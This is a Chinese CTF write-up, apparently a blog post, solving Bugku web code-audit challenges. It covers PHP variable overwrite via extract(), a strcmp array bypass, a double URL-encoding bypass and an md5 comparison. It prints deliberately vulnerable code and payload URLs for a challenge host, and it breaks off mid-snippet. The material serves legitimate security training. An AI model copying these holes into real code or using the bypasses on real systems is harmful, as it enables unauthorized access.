BugkuCTF-WEB-第1题到第16题
https://ctf.bugku.com/challenges
这里整理了bugkuCTF- 代码审计的部分解法,部分题目已失效,很多题目有多种解法,想多了解更多的同学请搜索相关题目的wp,想学习更多的同学,欢迎去bugku新平台CTF论剑场https://new.bugku.com/

1.extract变量覆盖
http://123.206.87.240:9009/1.php
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
extract — 从数组中将变量导入到当前的符号表
isset — 检测变量是否已设置并且非 NULL
trim — 去除字符串首尾处的空白字符
file_get_contents — 将整个文件读入一个字符串
payload:http://123.206.87.240:9009/1.php?shiyan
2.strcmp比较字符串
http://123.206.87.240:9009/6.php
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>
strcmp — 二进制安全字符串比较
strcmp期望传入的类型是字符串类型的数据,要是我们传入非字符串类型的数据的话,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 。也就是说虽然报了错,但却判定其相等了,也就绕过了判断。
传入数组绕过
payload:http://123.206.87.240:9009/6.php?a[]=1
3.urldecode二次编码绕过
http://123.206.87.240:9009/10.php
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("
not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!
";
echo "
flag
";
}
?>
将hackerDJ进行二次url编码
payload:http://123.206.87.240:9009/10.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41
4.md5()函数
http://123.206.87.240:9009/18.php
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print '

本文详细介绍了Bugku CTF中关于WEB安全的代码审计题目,包括利用变量覆盖、strcmp比较、urldecode绕过、md5函数、数组返回NULL、弱类型比较、sha函数、md5相等绕过、十六进制比较、变量覆盖、ereg正则截断、strpos数组绕过、数字验证正则和简单WAF等漏洞的解题思路和payload。通过这些例子,读者可以深入了解PHP安全相关知识。

1699

被折叠的 条评论
为什么被折叠?



